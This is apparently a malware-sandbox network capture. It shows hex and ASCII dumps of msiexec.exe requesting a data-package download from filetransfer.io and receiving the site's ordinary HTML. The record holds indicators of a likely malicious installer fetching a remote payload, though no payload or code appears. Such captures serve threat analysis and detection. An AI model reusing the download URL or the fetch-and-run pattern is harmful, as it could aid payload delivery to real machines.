alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1738&min_rtt=1735&rtt_var=657&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2837&recv_bytes=798&delivery_rate=1657207&cwnd=250&unsent_bytes=0&cid=6a6e3d982739bbaf&ts=196&x=0"
2025-01-10 19:14:34 UTC	417	IN	Data Raw: 32 31 61 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 38 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 37 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 38 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 31 30 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 39 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 31 30 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e Data Ascii: 21a8<!DOCTYPE html>...[if lt IE 8 ]><html lang="cs" class="ie7 no-js"> <![endif]-->...[if lt IE 9 ]><html lang="cs" class="ie8 no-js"> <![endif]-->...[if lt IE 10 ]><html lang="cs" class="ie9 no-js"> <![endif]-->...[if (gt IE 10)\|!(IE)]>...>
2025-01-10 19:14:34 UTC	1369	IN	Data Raw: 3e 0a 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 09 3c 21 2d 2d 5b 69 66 20 49 45 5d 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 09 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 2d 76 65 72 73 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4e 53 34 78 4e 69 34 79 4d 67 3d 3d 22 3e 0a 0a 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6f 67 3a Data Ascii: ><meta charset="utf-8">...[if IE]><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"><![endif]--><meta name="author" content=""><meta name="keywords" content=""><meta name="app-version" content="NS4xNi4yMg=="><meta name="og:
2025-01-10 19:14:34 UTC	1369	IN	Data Raw: 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 2d 70 72 65 63 6f 6d 70 6f 73 65 64 22 20 73 69 7a 65 73 3d 22 31 39 32 78 31 39 32 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 73 6f 6c 69 64 2f 31 39 32 2e 70 6e 67 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 33 32 78 33 32 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 33 32 2e 70 6e 67 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 34 38 78 34 38 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 34 38 2e 70 6e 67 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 39 36 78 39 36 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 39 36 2e Data Ascii: pple-touch-icon-precomposed" sizes="192x192" href="/img/favicon/solid/192.png"><link rel="icon" sizes="32x32" href="/img/favicon/32.png"><link rel="icon" sizes="48x48" href="/img/favicon/48.png"><link rel="icon" sizes="96x96" href="/img/favicon/96.
2025-01-10 19:14:34 UTC	1369	IN	Data Raw: 77 69 64 65 2e 70 6e 67 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6d 73 61 70 70 6c 69 63 61 74 69 6f 6e 2d 73 71 75 61 72 65 33 31 30 78 33 31 30 6c 6f 67 6f 22 20 63 6f 6e 74 65 6e 74 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 6d 73 2f 6c 61 72 67 65 2e 70 6e 67 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 46 61 73 74 20 26 61 6d 70 3b 20 53 69 6d 70 6c 65 20 46 69 6c 65 20 54 72 61 6e 73 66 65 72 73 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 73 69 74 65 5f 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 46 69 6c 65 54 72 61 6e 73 66 65 72 2e 69 6f 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 79 70 65 22 20 63 6f 6e 74 65 6e Data Ascii: wide.png"><meta name="msapplication-square310x310logo" content="/img/favicon/ms/large.png"><meta property="og:title" content="Fast & Simple File Transfers"><meta property="og:site_name" content="FileTransfer.io"><meta property="og:type" conten
2025-01-10 19:14:34 UTC	1369	IN	Data Raw: 74 20 62 65 67 69 6e 6e 69 6e 67 20 6f 66 20 79 6f 75 20 65 2d 6d 61 69 6c 2c 20 70 72 65 73 73 20 65 6e 74 65 72 2e 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 75 70 6c 6f 61 64 46 61 69 6c 65 64 20 3d 20 22 57 65 20 61 72 65 20 73 6f 72 72 79 20 62 75 74 20 74 68 65 20 66 69 6c 65 20 75 70 6c 6f 61 64 20 63 6f 75 6c 64 6e 27 74 20 62 65 20 72 65 73 74 6f 72 65 64 2e 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 63 6f 6e 66 69 72 6d 55 70 6c 6f 61 64 41 62 6f 72 74 20 3d 20 22 44 6f 20 79 6f 75 20 72 65 61 6c 6c 79 20 77 61 6e 74 20 74 6f 20 69 6e 74 65 72 72 75 70 74 20 74 68 65 20 75 70 6c 6f 61 64 3f 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 63 6f 6e 66 69 72 6d 46 69 6c 65 6c Data Ascii: t beginning of you e-mail, press enter."; MESSAGES.alerts.uploadFailed = "We are sorry but the file upload couldn't be restored."; MESSAGES.alerts.confirmUploadAbort = "Do you really want to interrupt the upload?"; MESSAGES.alerts.confirmFilel
2025-01-10 19:14:34 UTC	1369	IN	Data Raw: 20 4d 45 53 53 41 47 45 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 68 6f 75 72 73 20 3d 20 22 68 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 6d 69 6e 75 74 65 73 20 3d 20 22 6d 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 73 65 63 6f 6e 64 73 20 3d 20 22 73 22 3b 0a 0a 3c 2f 73 63 72 69 70 74 3e 0a 2d 2d 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 20 69 64 3d 22 75 70 6c 6f 61 64 2d 64 72 61 67 2d 64 72 6f 70 22 20 64 61 74 61 2d 62 79 74 65 73 2d 70 65 72 2d 6b 62 3d 22 31 30 32 34 22 20 64 61 74 61 2d 73 65 6e 74 72 79 2d 75 72 6c 3d 22 68 74 74 70 73 3a 2f 2f 36 33 36 36 31 32 38 63 64 33 62 61 34 66 66 62 62 61 39 65 38 65 38 37 33 35 66 58 Data Ascii: MESSAGES.time.shortcuts.hours = "h"; MESSAGES.time.shortcuts.minutes = "m"; MESSAGES.time.shortcuts.seconds = "s";</script>--></head><body id="upload-drag-drop" data-bytes-per-kb="1024" data-sentry-url="https://6366128cd3ba4ffbba9e8e8735fX
2025-01-10 19:14:34 UTC	1362	IN	Data Raw: 74 6c 65 3d 22 53 77 69 74 63 68 20 74 6f 20 74 68 65 20 68 6f 6d 65 20 70 61 67 65 22 20 68 72 65 66 3d 22 2f 22 3e 0a 09 09 09 3c 73 74 72 6f 6e 67 3e 46 69 6c 65 54 72 61 6e 73 66 65 72 2e 69 6f 3c 2f 73 74 72 6f 6e 67 3e 0a 09 09 3c 2f 61 3e 0a 09 09 3c 21 2d 2d 20 2e 6c 6f 67 6f 20 2d 2d 3e 0a 0a 09 09 3c 64 69 76 20 69 64 3d 22 73 6e 69 70 70 65 74 2d 2d 68 65 61 64 65 72 22 3e 0a 0a 0a 0a 0a 09 09 09 3c 61 20 68 72 65 66 3d 22 2f 6c 6f 67 69 6e 22 0a 09 09 09 20 20 20 63 6c 61 73 73 3d 22 61 63 63 6f 75 6e 74 20 75 6e 64 65 72 6c 69 6e 65 22 0a 09 09 09 20 20 20 64 61 74 61 2d 61 75 74 68 65 6e 74 69 63 61 74 65 64 3d 22 66 61 6c 73 65 22 3e 0a 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 75 73 65 72 20 63 69 72 63 6c 65 22 3e Data Ascii: tle="Switch to the home page" href="/"><strong>FileTransfer.io</strong></a>... .logo --><div id="snippet--header"><a href="/login" class="account underline" data-authenticated="false"><span class="icon-user circle">
2025-01-10 19:14:34 UTC	1369	IN	Data Raw: 31 36 35 38 0d 0a 0a 0a 09 09 3c 68 72 3e 0a 0a 09 09 09 09 09 09 3c 73 65 63 74 69 6f 6e 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 20 6e 65 77 2d 63 6f 6e 74 65 6e 74 22 3e 0a 0a 0a 09 09 3c 64 69 76 20 69 64 3d 22 73 6e 69 70 70 65 74 2d 2d 66 6c 61 73 68 65 73 22 3e 3c 2f 64 69 76 3e 09 09 09 09 09 3c 21 2d 2d 20 2e 61 6c 65 72 74 20 2d 2d 3e 0a 0a 0a 09 09 09 09 09 3c 64 69 76 20 64 61 74 61 2d 6e 61 6d 65 3d 22 75 70 6c 6f 61 64 2d 70 61 72 61 6d 65 74 65 72 73 22 20 64 61 74 61 2d 73 70 65 63 69 61 6c 3d 22 25 37 42 25 32 32 75 70 6c 6f 61 64 53 74 61 72 74 55 72 6c 25 32 32 25 33 41 25 32 32 25 32 46 73 74 61 72 74 2d 75 70 6c 6f 61 64 25 32 32 25 32 43 25 32 32 72 65 6d 6f 76 65 46 69 6c 65 55 72 6c 25 32 32 25 33 41 25 32 32 25 32 46 72 65 6d Data Ascii: 1658<hr><section class="content new-content"><div id="snippet--flashes"></div>... .alert --><div data-name="upload-parameters" data-special="%7B%22uploadStartUrl%22%3A%22%2Fstart-upload%22%2C%22removeFileUrl%22%3A%22%2Frem
2025-01-10 19:14:34 UTC	1369	IN	Data Raw: 73 0a 09 09 09 09 09 09 3c 2f 6c 61 62 65 6c 3e 0a 09 09 09 09 09 3c 2f 70 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 21 2d 2d 20 2e 69 6e 74 72 6f 20 2d 2d 3e 0a 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 6c 65 72 74 20 61 6c 65 72 74 2d 65 72 72 6f 72 20 61 6c 65 72 74 2d 6e 6f 72 65 6d 6f 76 65 20 61 6c 65 72 74 2d 68 69 64 64 65 6e 22 20 64 61 74 61 2d 61 6c 65 72 74 2d 6f 63 63 61 73 69 6f 6e 3d 22 74 6f 6f 2d 62 69 67 22 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 74 69 6d 65 73 22 3e 3c 2f 73 70 61 6e 3e 54 68 65 20 6d 61 78 69 6d 75 6d 20 73 69 7a 65 20 6f 66 20 61 20 64 61 74 61 20 70 61 63 6b 61 67 65 20 69 73 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 61 Data Ascii: s</label></p></div>... .intro --></div><div class="alert alert-error alert-noremove alert-hidden" data-alert-occasion="too-big"><span class="icon-times"></span>The maximum size of a data package is <span class="ma
2025-01-10 19:14:34 UTC	1369	IN	Data Raw: 6c 61 73 73 3d 22 61 6c 65 72 74 20 61 6c 65 72 74 2d 77 61 72 6e 69 6e 67 20 61 6c 65 72 74 2d 6e 6f 72 65 6d 6f 76 65 20 61 6c 65 72 74 2d 68 69 64 64 65 6e 22 20 64 61 74 61 2d 61 6c 65 72 74 2d 6f 63 63 61 73 69 6f 6e 3d 22 64 69 72 65 63 74 6f 72 69 65 73 22 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 65 78 63 6c 61 6d 61 74 69 6f 6e 2d 74 72 69 61 6e 67 6c 65 22 3e 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 69 6e 67 6c 65 22 3e 54 68 65 20 66 6f 6c 64 65 72 20 09 09 3c 73 70 61 6e 20 64 61 74 61 2d 63 6f 6e 74 65 6e 74 3d 22 64 69 72 6e 61 6d 65 73 22 3e 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 20 63 61 6e 6e 6f 74 20 62 65 20 61 64 64 65 64 20 61 6c 6c 20 61 74 20 6f 6e 63 65 2c 20 70 Data Ascii: lass="alert alert-warning alert-noremove alert-hidden" data-alert-occasion="directories"><span class="icon-exclamation-triangle"></span><span class="single">The folder <span data-content="dirnames"></span> cannot be added all at once, p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.6	57951	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:14:35 UTC	190	OUT	GET /data-package/sJfx1gsn/download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache
2025-01-10 19:14:35 UTC	617	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 10 Jan 2025 19:14:35 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Fri, 10 Jan 2025 20:14:35 GMT Location: https://filetransfer.io Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9z5rKw%2FSkIz%2F8VMaE6SUqCbf73hfaqgScoUjQhcb9j6GBGNoPhsZEXd%2Fq7iRt6RIZEyrgtqAHNr9PEunl2ZVZojCq0JtyuSxM0jGat40Ls0%2FHXcCgj2DxQbRZBTA2LjBuNw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefda9df336a57-EWR
2025-01-10 19:14:35 UTC	167	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.6	57952	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:14:35 UTC	184	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache Connection: Keep-Alive
2025-01-10 19:14:35 UTC	944	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:14:35 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close x-amz-id-2: ORJ1qfcDfv2tVBWVwsg2mWAl+2+uwiY2rbNgMAb1+3o9Il5lwqbdWKqyD4+yewJAWG0AWzk3XfE= x-amz-request-id: 6ZTFBCV7S1MCYSDZ Last-Modified: Fri, 27 Dec 2024 12:13:01 GMT cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0Hkbw6EnDJGqDwZK%2FfQN6%2BINzuH9GzH42Xtj6kX5Q5Ho0tIYhJGTbydIjjWqrDNQjXa8C2jYyiK3V1TBz6mFZFmCKPHhJLpvHFQs4FidAc%2BgPl5jsHvLkmDJCRqvJjOaU54%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefdaddd34c46d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1673&min_rtt=1667&rtt_var=639&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2837&recv_bytes=798&delivery_rate=1695702&cwnd=248&unsent_bytes=0&cid=ccdb84c7b5d720f8&ts=222&x=0"
2025-01-10 19:14:35 UTC	1369	IN	Data Raw: 32 31 61 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 38 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 37 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 38 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 31 30 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 39 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 31 30 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e Data Ascii: 21a8<!DOCTYPE html>...[if lt IE 8 ]><html lang="cs" class="ie7 no-js"> <![endif]-->...[if lt IE 9 ]><html lang="cs" class="ie8 no-js"> <![endif]-->...[if lt IE 10 ]><html lang="cs" class="ie9 no-js"> <![endif]-->...[if (gt IE 10)\|!(IE)]>...>
2025-01-10 19:14:35 UTC	1369	IN	Data Raw: 6e 22 20 73 69 7a 65 73 3d 22 31 36 30 78 31 36 30 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 31 36 30 2e 70 6e 67 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 31 39 32 78 31 39 32 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 31 39 32 2e 70 6e 67 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 2d 70 72 65 63 6f 6d 70 6f 73 65 64 22 20 73 69 7a 65 73 3d 22 39 36 78 39 36 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 73 6f 6c 69 64 2f 39 36 2e 70 6e 67 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 2d 70 72 65 63 6f 6d 70 6f 73 65 Data Ascii: n" sizes="160x160" href="/img/favicon/160.png"><link rel="apple-touch-icon" sizes="192x192" href="/img/favicon/192.png"><link rel="apple-touch-icon-precomposed" sizes="96x96" href="/img/favicon/solid/96.png"><link rel="apple-touch-icon-precompose
2025-01-10 19:14:35 UTC	1369	IN	Data Raw: 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 46 69 6c 65 54 72 61 6e 73 66 65 72 2e 69 6f 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6d 73 61 70 70 6c 69 63 61 74 69 6f 6e 2d 54 69 6c 65 43 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 30 30 30 30 30 30 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6d 73 61 70 70 6c 69 63 61 74 69 6f 6e 2d 54 69 6c 65 49 6d 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 31 34 34 2e 70 6e 67 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6d 73 61 70 70 6c 69 63 61 74 69 6f 6e 2d 73 71 75 61 72 65 37 30 78 37 30 6c 6f 67 6f 22 20 63 6f 6e 74 65 6e 74 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 6d 73 2f 74 69 Data Ascii: <meta name="application-name" content="FileTransfer.io"><meta name="msapplication-TileColor" content="#000000"><meta name="msapplication-TileImage" content="/img/favicon/144.png"><meta name="msapplication-square70x70logo" content="/img/favicon/ms/ti
2025-01-10 19:14:35 UTC	1369	IN	Data Raw: 75 74 73 20 3d 20 7b 7d 3b 0a 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 70 6c 61 63 65 68 6f 6c 64 65 72 73 2e 74 61 67 69 6e 70 75 74 20 3d 20 22 53 65 70 61 72 61 74 65 20 77 69 74 68 20 61 20 63 6f 6d 6d 61 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 70 6c 61 63 65 68 6f 6c 64 65 72 73 2e 70 6f 70 75 70 4c 6f 61 64 69 6e 67 20 3d 20 22 50 6c 65 61 73 65 20 77 61 69 74 e2 80 a6 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 70 6c 61 63 65 68 6f 6c 64 65 72 73 2e 70 6f 70 75 70 43 6c 6f 73 65 20 3d 20 22 43 6c 6f 73 65 20 28 45 53 43 29 22 3b 0a 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 65 6d 61 69 6c 52 65 71 75 69 72 65 64 20 3d 20 22 50 6c 65 61 73 65 20 65 6e 74 65 72 20 61 6e 20 65 2d 6d 61 69 6c 20 61 64 64 72 65 73 73 20 Data Ascii: uts = {}; MESSAGES.placeholders.taginput = "Separate with a comma"; MESSAGES.placeholders.popupLoading = "Please wait"; MESSAGES.placeholders.popupClose = "Close (ESC)"; MESSAGES.alerts.emailRequired = "Please enter an e-mail address
2025-01-10 19:14:35 UTC	1369	IN	Data Raw: 53 41 47 45 53 2e 6c 61 62 65 6c 73 2e 63 6f 70 79 4d 61 6e 75 61 6c 6c 79 2e 63 6d 64 20 3d 20 22 50 72 65 73 73 20 e2 8c 98 2d 43 22 3b 0a 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 74 6c 65 73 2e 66 69 6c 65 6c 69 73 74 20 3d 20 22 43 68 6f 6f 73 65 20 66 69 6c 65 73 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 74 6c 65 73 2e 75 70 6c 6f 61 64 69 6e 67 20 3d 20 22 25 20 75 70 6c 6f 61 64 65 64 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 74 6c 65 73 2e 75 70 6c 6f 61 64 43 6f 6d 70 6c 65 74 65 20 3d 20 22 44 61 74 61 20 70 61 63 6b 61 67 65 20 75 70 6c 6f 61 64 65 64 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 74 6c 65 73 2e 75 70 6c 6f 61 64 50 72 6f 62 6c 65 6d 20 3d 20 22 50 72 6f 62 6c 65 6d 20 77 69 74 68 20 75 70 Data Ascii: SAGES.labels.copyManually.cmd = "Press -C"; MESSAGES.titles.filelist = "Choose files"; MESSAGES.titles.uploading = "% uploaded"; MESSAGES.titles.uploadComplete = "Data package uploaded"; MESSAGES.titles.uploadProblem = "Problem with up
2025-01-10 19:14:35 UTC	1369	IN	Data Raw: 6f 6f 67 6c 65 20 74 61 67 20 28 67 74 61 67 2e 6a 73 29 20 2d 2d 3e 0a 3c 73 63 72 69 70 74 20 61 73 79 6e 63 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 74 61 67 6d 61 6e 61 67 65 72 2e 63 6f 6d 2f 67 74 61 67 2f 6a 73 3f 69 64 3d 47 2d 47 4b 4a 5a 54 35 30 46 35 58 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 3d 20 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 7c 7c 20 5b 5d 3b 0a 20 20 66 75 6e 63 74 69 6f 6e 20 67 74 61 67 28 29 7b 64 61 74 61 4c 61 79 65 72 2e 70 75 73 68 28 61 72 67 75 6d 65 6e 74 73 29 3b 7d 0a 20 20 67 74 61 67 28 27 6a 73 27 2c 20 6e 65 77 20 44 61 74 65 28 29 29 3b 0a 0a 20 20 67 74 61 67 28 27 63 6f 6e 66 69 67 27 2c 20 Data Ascii: oogle tag (gtag.js) --><script async src="https://www.googletagmanager.com/gtag/js?id=G-GKJZT50F5X"></script><script> window.dataLayer = window.dataLayer \|\| []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config',
2025-01-10 19:14:35 UTC	410	IN	Data Raw: 61 76 69 67 61 74 69 6f 6e 2d 69 74 65 6d 22 3e 0a 09 09 09 09 3c 61 20 74 69 74 6c 65 3d 22 52 65 71 75 65 73 74 20 66 69 6c 65 73 22 0a 09 09 09 09 20 20 20 63 6c 61 73 73 3d 22 75 6e 64 65 72 6c 69 6e 65 22 20 68 72 65 66 3d 22 2f 70 72 69 63 65 6c 69 73 74 22 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 75 6e 64 65 72 6c 69 6e 65 2d 69 74 65 6d 22 3e 52 65 71 75 65 73 74 20 66 69 6c 65 73 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 62 61 64 67 65 20 73 6d 61 6c 6c 20 66 69 6c 6c 65 64 22 3e 62 65 74 61 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 3c 2f 6c 69 3e 0a 0a 09 09 09 09 3c 6c 69 20 63 6c 61 73 73 3d 22 6e 61 76 69 67 61 74 69 6f 6e 2d 69 74 65 6d 22 3e 0a 09 09 09 09 3c 61 20 Data Ascii: avigation-item"><a title="Request files" class="underline" href="/pricelist"><span class="underline-item">Request files</span><span class="badge small filled">beta</span></a></li><li class="navigation-item"><a
